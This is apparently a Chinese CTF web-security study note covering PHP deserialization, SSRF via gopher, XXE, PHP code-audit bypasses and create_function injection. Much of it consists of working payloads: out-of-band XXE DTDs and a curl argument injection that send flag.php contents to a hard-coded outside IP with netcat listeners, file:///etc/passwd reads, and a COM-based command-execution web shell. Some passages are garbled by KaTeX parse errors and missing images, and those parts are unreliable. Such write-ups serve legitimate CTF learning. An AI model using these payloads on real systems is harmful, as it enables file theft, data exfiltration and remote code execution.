public function _tostring(){if(isset($this->file)){echo file_get_contents($this->file);echo "<br>";return("good");}
}
$a=new Flag();#创建一个flag对象
$a->file='flag.php';
echo serialize($a);#序列化
}

序列化注意点

\x00+类名+\x00+变量名 反序列化出来的是private变量

\x00+*+\x00+变量名 反序列化出来的是protected变量

直接变量名反序列化出来的是public变量

在对象名前可以填加+ 例如 '0:+4:"(如果没有反应,可以对这个payload进行url编码)

PHP BUG

简单来说就是当序列化字符串中,如果表示对象属性个数的值

大于真实的属性个数时就会跳过__wakeup

PHP Session序列化及反序列化

PHP内置了多种处理器用于存取$_SESSION数据时会对数据进行序列化和反序列化

php 键名+竖线+经过serialize()函数反序列化处理的值

php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列化处理的值

php_serialize 经过serialize()函数反序列化处理的数组

安全问题

如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据

例子

当存储是php_serialize处理,然后调用时php去处理

如果这时候注入的数据是a=|O:4:“test”:0:{}

那么session中的内容是a:1:{s:1:“a”;s:16:"|O:4:“test”:0:{}";}

根据解释,其中a:1:{s:1:“a”;s:16:"在经过php解析后是被看成键名,

后面就是一个实例化test对象的注入

session.auto_start=off两个脚本注册SEssion会话时使用的序列化处理器不同,就会出现安全问题

当配置选项 session.auto_start=On,会自动注册 Session 会

话,因为该过程是发生在脚本代码执行前,所以在脚本中设定

的包括序列化处理器在内的 session 相关配选项的设置是不起

作用的,因此一些需要在脚本中设置序列化处理器配置的程序

会在 session.auto_start=On 时,销毁自动生成的 Session 会

话,然后设置需要的序列化处理器,再调用 session_start() 函

数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中

设置的不同,就会出现安全问题

Phar序列化

攻击PHP应用的新方式,利用这种方法可以在不使用

unserialize()函数的情况下触发PHP反序列化漏洞。

漏洞触发点在使用phar://协议读取文件的时候,文件内容会被

解析成phar对象,然后phar对象内的Meta data信息会被反序列

<?phpclass AnyClass{function __destruct(){echo $this->data;
}function __sleep(){echo 'sleep';}function __wakeup(){echo 'wakeup<br>';}
}
//output:rips
#include('phar://test.phar');
#var_dump(file_get_contents('phar://test.phar'));
#var_dump(file_get_contents('phar://test.jpg'));
#var_dump(file_exists('phar://test.phar'));
可利用函数
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

SSRF

SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造

服务器端发起请求,从而突破客户端获取不到数据限制。

对外发起网络请求的地方都可能存在SSRF漏洞

漏洞判断

回显

延时

DNS请求

相关函数

file_get_contents

fsockopen

curl_exec

IP绕过

添加端口

短网址

指向任意IP的域名xip.io

IP限制绕过(十进制,八进制,十六进制,不同进制组合转换)

302跳转

结合dict://file://gopher:// (file://localhost/etc/passwd)

http://www.baidu.com@192.168.0.1/

Gopher协议

gopher是一个互联网上使用的分布型的文件搜集获取网络协议

gopher协议支持发出GET、POST请求:可以先截获

get请求包和post请求包,再构造成符合gopher协议

的请求。gopher协议是ssrf利用中一个最强大的协议

(俗称万能协议)。

gopher对mysql的利用

wireshark抓取mysql

协议转化

gopher://127.0.0.1:3306/_

+url编码的登入请求

+包长度

+%00%00%00%03

+查询语句(url编码)

+%01%00%00%00%01

工具使用

https://github.com/tarunkant/Gopherus

七、XXE

xxe,即xml外部实体注入漏洞,xxe漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致客家载恶意外部文件,造成文件读取、命令执行、内网端口扫描,攻击

内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件

的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

xml基础知识

xml指可扩展标记语言,被设计用来传输和存储数据,没有预定义的标签,允许作者定义自己的标签和自己的文档结构;语法规则:xml文档必须有一个根元素;xml元素都必须有一个关闭标签;xml标签对大小写敏感;xml元素必须被正确的嵌套;xml属性值必须加引导

<?xml version='1.0' encoding='ISO-8859-1'?>
<note><to>Geroge</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body>
</note>

实体引用

&lt;  <   小于号&gt;  >&amp;   &   和号&apos;    '    单引号&quot;  "    
<?php
$data=file_get_contents('php://input');
$xml=simplexml_load_string($data);#function
#$xml=new SimpleXMLELement($data);#class
foreach($xml as $key=>$value){echo "key:".$key."value".$value."<br>";
}
#var_dump($xml);
?>

DTD(文档类型定义)定义xml文档的合法构建模块,可以在xml文档内声明,也可以外部引用

<?xml version='1.0'?>
<!DOCTYPE note[
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]><note><to>Geroge</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body>
</note>

PCDATA****的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这

些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而

实体会被展开

<?xml version='1.0'?>
<!DOCTYPE note SYSTEM "note.dtd">
<note><to>Geroge</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body>
</note>
<?xml version="1.0"?>
<!DOCTYPE mail[
<!ELEMENT mail(message)>
<!ENTITY hacker "hacker's data">
]><mail>
<message>&hacker;</message>
</mail>
<?xml version='1.0'?>
<!DOCTYPE mail[
<!ELEMENT mail (message)>
<!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
]><mail><message>&hacker;</message>
</mail>

参数实体

参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD

才能引用参数实体**.** 参数实体的声明和引用都是以百分号**%****。并且参数实体的引**

用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”

字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换

DTD****中的文本或其他内容

<?xml version="1.0" encoding='UTF-8' ?>
<!DOCTYPE root [
<!ELEMENT root(message)>
<!ENTITY %param1 "<!ENTITY internal 'http://xxx.com'>">
%param1;
]>
<root>
<message>&internal;</message>
</root>
<?xml version="1.0" encoding='UTF-8' ?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY %evil SYSTEM "file:///E:/phpstudy/www/bull/xxe/xml/flag.txt">
<!ENTITY %xxe SYSTEM "http://172.16.206.99/bull/xxe/xml/dtd7_2.xml">
%xxe;
%all;
]><foo>%send;</foo>
<!ENTITY %all "<!ENTITY send SYSTEM 'http://172.16.206.99/class/xss_get_cookie/hacker.php?cookie=%evil;'>">
例题

http://web.jarvisoj.com:9882/

题目描述:flag的位置(请设法获得目标机器**/home/ctf/flag.txt中的flag****值**)

思路:

getshell

文件读取—》xxe

<html>
<head>
<link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
<script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script>
</head>
<body>
<div class="show">
<textarea id="tip-area" width=100px height=50px disabled></textarea>
</div>
<div class="control-area">
<input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
<button class="btn btn-default" type="button" onclick="send()">Go!</button>
</div>
<script>
function XHR() {var xhr;try {xhr = new XMLHttpRequest();}catch(e) {var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];#由这里可以联想用xxe实现文件读取for (var i=0,len=IEXHRVers.length;i< len;i++) {try {xhr = new ActiveXObject(IEXHRVers[i]);}catch(e) {continue;}}}return xhr;}function send(){evil_input = document.getElementById("evil-input").value;var xhr = XHR();xhr.open("post","/api/v1.0/try",true);xhr.onreadystatechange = function () {if (xhr.readyState==4 && xhr.status==201) {data = JSON.parse(xhr.responseText);tip_area = document.getElementById("tip-area");tip_area.value = data.task.search+data.task.value;}};xhr.setRequestHeader("Content-Type","application/json");#如果要用xxe的方法,就要把json改为xmlxhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>
</body>
</html>

首先抓包将Content-Type改为application/xml

然后传入

<?xml version='1.0'?>
<!DOCTYPE mail[
<!ENTITY hacker SYSTEM "file:///home/ctf/flag.txt">
]><mail><message>&hacker;</message>
</mail>

theme 参数名称

-分隔

第一个参数 class

二 三 四 参数

flag.php 文件读取/getshell

Cookie:theme=SimpleXMLElement-http://106.12.37.37/xxe.xml-0-rue

xxe.xml

<?xml version='1.0'?>
<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://106.12.37.37/xxe.dtd'>
%send;
%test;
%back;
]>

xxe.dtd

<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY %test "<!ENTITY % back SYSTEM 'http://106.12.37.37:2333/?file=%file;'>">

用burp把cookie发送,同时用来监听

nc -lvp 2333

八、php代码审计

md5相关案例
<?php
ini_set("display_error",false);
error_reporting(0);
if((string)$_POST['param1']!==(string)$_POST['param2']&&md5(&_POST['param1'])===md5($_POST['param2'])){
die("flag{xxxxxxxxxxxx}");
}
else{
echo 'fail';
}
?>
用md5强碰撞 使用fastcoll_v1.0.0.5.exe

fastcoll_v1.0.0.5.exe -p 0.txt -o 1.txt 2.txt 生成两个文件,这两个文件的md5值相同

 from urllib import parsea=parse.quote(open('1.txt','rb').read())
可以用这个将文件转化为16进制流
md5于sql注入的融合
$sql="SELECT * FROM admin WHERE pass='".md5($password,true)."'";
传入ffifdyop(这个字符串的md5值就是sql注入的语句)
json
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_POST['message'])){
$message=json_decode($_POST['message']);
if($message->key==$key){
echo $flag;
}
else{echo "fail";}
}
else{echo "~~~~~~"}
?>
post:message={"key":0}
switch

如果switch是数字类型的case判断时,switch会将其中的参数转换为int类型

<?php
highlight_file(__FILE__);
$i="3name";
switch($i){
case 0:
case 1:
case 2:echo "this is two";break;
case 3:echo "flag";
break;
}
?>
strcmp

str1<str2,返回<0;str1>str2,返回>0;如果相等,返回0

比较过程应该时转化为ascii后逐字节进行比较,然后根据运算结果来决定返回值

数组绕过

IN_ARRAY

检查数组中是否存在某个值

<?php
highhight_file(__FILE__);
$array=[0,1,2,'3'];
var_dump(in_array('abc',$array));#返回true
var_dump(in_array('1bc',$array));#返回true
var_dump(in_array(3,$array));#返回true
array_search

在数组中搜索给定的值,如果成功返回首个相应的键值

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IbGh7ks3-1610120099637)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115080749903.png)]

传入test[]=0

strpos

查找字符串首次出现的位置

var_dump(strpos('abcd','a'));
int(0)
var_dump(strpos('abcd','a')==false);
bool(true)

变量覆盖问题

extract()从数组中将变量导入到当前的符号表中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FwWNgCqQ-1610120099637)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115084124977.png)]

传入gift=&flag=

$$

遍历初始化变量

由于php中可以使用$$声明变量,因此在遍历数组时可能会覆盖原来的值

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名

漏洞产生

<?php
highlight_file(__FILE__);
$a='hello world';
echo "$a";
echo "<br>";
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。

get得到的数据key和key和key和value,关键第3行,$key用传进来的key用传进来的key用传进来的key作为新的变量,将$value赋值给他

题目分析
需要满足三个if 才能够输出flag,很明显flag在flag.php文件里。两个foreach都使用了flag在flag.php文件里。 两个foreach 都使用了flag在flag.php文件里。两个foreach都使用了$ 修改了$flag变量 我们没办法直接通过echo “This is your flag : “. KaTeX parse error: Undefined control sequence: \n at position 9: flag . “\̲n̲”;得到flag。所以利用di…_200),在200种储存_200种储存2​00种储存flag的值,从而得到flag

解题思路:

get?_200=flag post flag=aaaaaaaaaa

1.)foreach ($_GET as $key => value)∗∗value) **value)∗∗$key = KaTeX parse error: Can't use function '$' in math mode at position 29: …00=flag 变为了 $̲_200=$flag …key = value;∗∗将post过去的flag=aaaaaaaaaaa变为value;** 将post过去的flag=aaaaaaaaaaa变为value;∗∗将post过去的flag=aaaaaaaaaaa变为flag=aaaaaaaaaaaaaaaa

<?php
highlight_file(__FILE__);
include "flag.php";                                                //包含并运行指定文件
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")      //返回post的值die("BugsBunnyCTF is here :p…");
if ( !isset($_POST["flag"]) )              //检查是否设置die($_403);
//echo "$_GET";
foreach ($_GET as $key => $value)$$key = $$value;                      //后面分析**
//echo "$key";
//echo "$$key  $_200";
//echo "$value";
//echo "$$value  $flag";
foreach ($_POST as $key => $value)$$key = $value;
//echo "$key";**
//echo "$$key";
//echo "$value";
if ( $_POST["flag"] !== $flag )die($_403);
else
{
echo "This is your flag : ". $flag . "\n";
die($_200);
}
?>
parse_str()将查询到字符串解析到变量中

**注释:*php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
2.语法
parse_str(*string,array)

参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。
举例

<?php
$a = 1;                  //原变量值为1
parse_str('a=2');   //经过parse_str()函数后注册变量$a,重新赋值
print_r($b);          //输出结果为2
?>

漏洞重现

<?php
error_reporting(0);
if(
empty($_GET['id'])) {                    //empty()检查是否为空
show_source(__FILE__);            //highlight_file—语法高亮一个文件
die();                                          //等同于exit—输出一个消息并且退出当前脚本
} else {
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);#进行解析
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
?>

md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391*

md5(s878926199a)=0e545993274517709034328855841020 php解析为0

使用get请求?id=a[0]=s878926199a

注意:由于php的变量名不能带点和空格,所以它们会被转化成下划线,例如当变量名为a_a时,可以用a.a来绕过

import_request_variables()

此函数将GET/POST/Cooie变量导入到全局作用域中

import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候

2.语法
bool import_request_variables(stringtypes[,stringtypes[,stringtypes[,stringprefix] )
$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE,第二个参数为要注册变量的前缀
举例

<?php
$auth='0';
import_request_variables('G');
if($auth== 1){echo"private!";
}else{echo"public!";
}
?>

get auth=1时,网页上会输出private!
import_request_variables(‘G’)指定导入GET请求中的变量,从而导致变量覆盖

空白符问题

req()函数输出requests属性

intval()

获取变量的整数值

成功时返回 var integer 值,失败时返回 0**。 空的** array 返回 0**,非空的**

array 返回 1

最大的值取决于操作系统。

32 位系统最大带符号的 integer 范围是 -2147483648 2147483647

64 位系统上,最大带符号的 integer 值是 9223372036854775807**。**

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KQw16L8n-1610120099638)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115100046245.png)]

浮点数精度

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x2m9vEVz-1610120099639)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115100116569.png)]

is_numeric()

检测变量是否为数字或数字字符串

数字字符串可以带有\t \n \r \v \f

trim()

去除字符串首尾处的空白字符(或者其他字符)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XoUeAYqv-1610120099640)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115100424363.png)]

函数对比:

trim 去除\t \n \r \0 \x0B

is_numeric ,intval 跳过\t \n \r \f \v

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kw1gsmun-1610120099641)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115102742572.png)]

payload: ?numbeer=%00%0c121

1.$_GET[‘number’]传值

2.过is_numeric $REQUEST[‘number’]

3.常规字符串。在inteval会消失 插入一些特殊的值

4.$req intval rev字符串中必然携带回文数

5.is_palindrome_number req \f121 %00%0c121 (%0c是\f,因为trim能处理\t\n\r\0\v ;而is_numeric能处理\n\t\r\v\f)

伪随机数

mt_rand()

mt_srand()播下一个更好的随机数发生器种子

mt_rand()函数默认范围是0到mt_getrandmax()之间的伪随机数

同时相同的种子生成的随机数是相同的

所以可以通过逆推mt_rand的种子来获得同页面的另一个rand值

工具:php_mt_seed

http://www.openwall.com/php_mt_seed/

其他函数问题

运算符

注意=的优先级高于and

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KkYnSqt4-1610120099641)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115114817118.png)]

Parse_url

解析url,返回其组成部分

如果指定了 component 参数, parse_url() 返回一个 string (或在指定为 PHP_URL_PORT 时返回一个 integer)而不是array。如果 URL 中指定的组成部分不存在,将会返回 NULL。

///会被返回false

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pmeW8pb1-1610120099642)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115140459062.png)]

http://172.16.206.100///php/parse_url.php?.=a

用///绕过parse_url,.可以代替下划线

escapeshellarg

此函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样确保能够直接将一个字符串传入shell函数,并且还是确保安全的。

escapeshellcmd

对字符串中可能会欺骗shell命令执行的字符进行转义

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GYlAvbeB-1610120099643)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115173109908.png)]

题解
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){if(preg_match('/flag/i',$key)){exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); }}}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){include($_GET['file']);
}
}?>
payload: ?flag=s878926199a
&hongri=QNKCDZO
&url=http://106.12.37.37:5555/sdf' -F file=@/var/www/html/php/cmd_1/flag.php'
post:
_GET[flag]=s878926199a
&_GET[hongri]=QNKCDZO
&_GET[url]=http://106.12.37.37:5555/sdf' -F file=@/var/www/html/php/cmd_1/flag.php'
然后用nc -lvp 5555监听

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dWjDUYiD-1610120099643)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115180226047.png)]

正则匹配

正则表达式的贪婪与非贪婪模式

如:

String str=“abcaxc”;

Patter p=“ab.*c”;

**源字符串: aaab
正则: .?b
匹配过程开始的时候, “.
?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先
不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败
(“a”), 于是回溯, 将匹配控制交回给”.?”, 这个时候, “.?”匹配一个字符”a”,
并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了
3次回溯

{m,n}:m到n个

*:任意多个

+:一个或多个

?:0或一个

源字符串: aaab
正则: .?b
匹配过程开始的时候, “.
?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先
不匹配, 将匹配控制交给下一个匹配字符”b”, “b”在源字符串位置1匹配失败
(“a”), 于是回溯, 将匹配控制交回给”.?”, 这个时候, “.?”匹配一个字符”a”,
并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了
3次回溯

表达式:/<\?.*[(`;?>)].*/is
贪婪模式,以<?php phpinfo();//aaaaa为例
回溯次数为8次

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MQvIiJCZ-1610120099644)(C:\Users\Tian\AppData\Roaming\Typora\typora-user-images\image-20201115184235544.png)]

**PPHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。最大为1000000

当超过回溯次数上限后,函数返回值会变成flase而不是0或者1

题解

text.php

<?php
function is_php($data){return preg_match('/<\?.*[(`;?>].*/is',$data);
}
if(empty($_FILES)){die(show_source(__FILE__));
}
$user_dir='./data/';
$data=file_get_contents($_FILES['file']['tmp_name']);
if(is_php($data)){echo "bad requests";
}else{@mkdir($user_dir,0755);$path=$user_dir.'/'.random_int(0,10).'.php';move_uploaded_file($_FILES['file']['tmp_name'],$path);header("Location:$path",true,303);
}

flag.php

<?php
$a='<?php phpinfo();//'.str_repeat('a',999996);
file_put_contents('exp.php',$a);
?>

fileupload.html

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title></title></head><body><form action="http://localhost/text.php" method="POST" enctype="multipart/form-data"><h3>  Test upload tmp file</h3><label for="file">Filename:</label><input type="file" name="file"/><br/><input type="submit" name="submit" value="submit"/></form></body>
</html>

disable_function(不太懂)

黑名单绕过

不在列表之中

例如system exec shell_exec等被禁用了,但是可以用assert等代替

或者scandir等用其他函数实现需要的功能

扩展使用

windows下com(系统组件)

<?php
$command=$_GET['a'];
$wsh=new COM('WScript.shell');//生成一个COM对象
$exec=$wsh->extec("cmd /c".$command);//调用对象方法来执行命令
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo $stroutput;
?>

pcntl扩展:在当前进程空间执行指定程序

imap_open()

找源码相关问题

找源码

右键源代码

代码压缩包泄露

1).git源码https://github.com/lijiejie/GitHack

2).DS_Store泄露https://github.com/lijiejie/ds_store_exp

3)SVN代码泄露https://github.com/kost/dvcs-ripper

敏感信息Robots.txt

备份文件Index.php.bak Index.php.swp

扫描相关

disreach https://github.com/maurosoria/dirsearch

御剑

FUZZING

例题

<?php
$action=$_GET['action'] ?? '';
$arg=$_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD',$action)){show_source(__FILE__);
}else{$action('',$arg);
}
?>

,看到 action(′′,action('',action(′′,arg) 这里有两个参数,可以想到create_function()匿名函数代码注入。

2,这里还有一个正则需要绕过,不过这个正则很容易知道只要我们在开头或者结尾加入其他字符就可以绕过了。至于是什么字符,用bp来fuzz一波就可以知道是%5c。

http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*

3,实际上不用%5c,加一个 \ 也能执行,这里涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数。

https://blog.csdn.net/dyw_666666/article/details/90042852

看一下手册中的例子就大概知道是什么意思了。

http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*

最终Payload:

http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

CTF--web学习相关推荐

  1. CTF Web学习(三)----python脚本的编写及应用

    CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...

  2. 从0到1学习CTF WEB

    从0到1学习CTF WEB web前置技能 信息泄漏 密码口令 SQL注入 基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...

  3. 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...

    对于想学习或者参加CTF比赛的朋友来说,CTF工具.练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助. CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容 ...

  4. CTF Web方向考点总结

    CTF Web 0X00 前言 做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...

  5. java web学习项目20套源码完整版

    java web学习项目20套源码完整版 自己收集的各行各业的都有,这一套源码吃遍所有作业项目! 1.BBS论坛系统(jsp+sql) 2.ERP管理系统(jsp+servlet) 3.OA办公自动化 ...

  6. maven mybatis mysql_Java Web学习系列——Maven Web项目中集成使用Spring、MyBatis实现对MySQL的数据访问...

    标签: 本篇内容还是建立在上一篇Java Web学习系列--Maven Web项目中集成使用Spring基础之上,对之前的Maven Web项目进行升级改造,实现对MySQL的数据访问. 添加依赖Ja ...

  7. Web学习之跨域问题及解决方案

    Web学习之跨域问题及解决方案 javascript/jquery 浏览数:161 2017-5-8 在做前端开发时,我们时常使用ajax与服务器通信获取资源,享受ajax便利的同时,也知道它有限制: ...

  8. 2019年Java Web学习笔记目录

    Java Web学习笔记目录 1.Java Web学习笔记01:动态网站初体验 2.Java Web学习笔记02:在Intellij里创建Web项目 3.Java Web学习笔记03:JSP元素 4. ...

  9. 零基础快速入门web学习路线(含视频教程)

    下面小编专门为广大web学习爱好者汇总了一条完整的自学线路:零基础快速入门web学习路线(含视频教程)(绝对纯干货)适合初学者的最新WEB前端学习路线汇总! 在当下来说web前端开发工程师可谓是高福利 ...

  10. ctf web必备工具_设计人员和开发人员的必备Web工具和服务

    ctf web必备工具 I cannot imagine that in 2018 there are people who don't use daily several web tools and ...

最新文章

  1. 重磅!新一轮“双一流”,有重大变化!
  2. 图解 HTTP 笔记(四)——HTTP 状态码
  3. VTK:Utilities之CustomDenseArray
  4. ICE 迁移64位安装问题
  5. portal for arcgis 10.4的安装和配置及遇到的问题
  6. python基础(16)之 日期
  7. freecodecamp能学php吗,freeCodeCamp 学习记录——初级算法「01」翻转字符串
  8. java.lang.OutOfMemoryError: Java heap space错误和方法(集、转)
  9. vector容器——赋值操作
  10. CAN总线和RS485的比较:
  11. 混合式app开发框架
  12. 价格奥秘-在超市遇见亚当斯密--第十章 便宜鸡蛋会创造更多的就业机会?
  13. 华为网络设备查看电源状态检查命令
  14. 用机器学习做风控的氪信,凭什么获金牌投资人章苏阳数千万融资?
  15. 长春理工大学第八届电子设计大赛 之 开关电源(2)
  16. ChatGPT的注册和使用教程
  17. 计算机显示器有几个接口,电脑显示器的接口有几种?有哪些区别又要如何挑选呢?长知识了!...
  18. 华为路由器联动_华为路由WS5200怎么联动Yeelight智能设备
  19. Python爬取ppt工作项目模板
  20. 主成分分析法(PCA)解析与MATLAB实践

热门文章

  1. 启英泰伦三代离线语音AI芯片及AIoT芯片介绍
  2. 表删除时 Cannot delete or update a parent row: a foreign key constraint fails 异常处理
  3. 第三方支付平台业务分析
  4. JVM——GC算法原理
  5. 7-151 计算存款利息
  6. IOS UTI统一类型标识符:判断文件类型通过后缀
  7. 高效率科研神器——小软件、大能量
  8. 论文笔记 SiamMask : Fast Online Object Tracking and Segmentation: A Unifying Approach
  9. ​Spring Cloud:统一异常处理
  10. 微信小程序农历阳历日期选择器选中日期同时获取对应农/阳历日期 这个demo问题的修改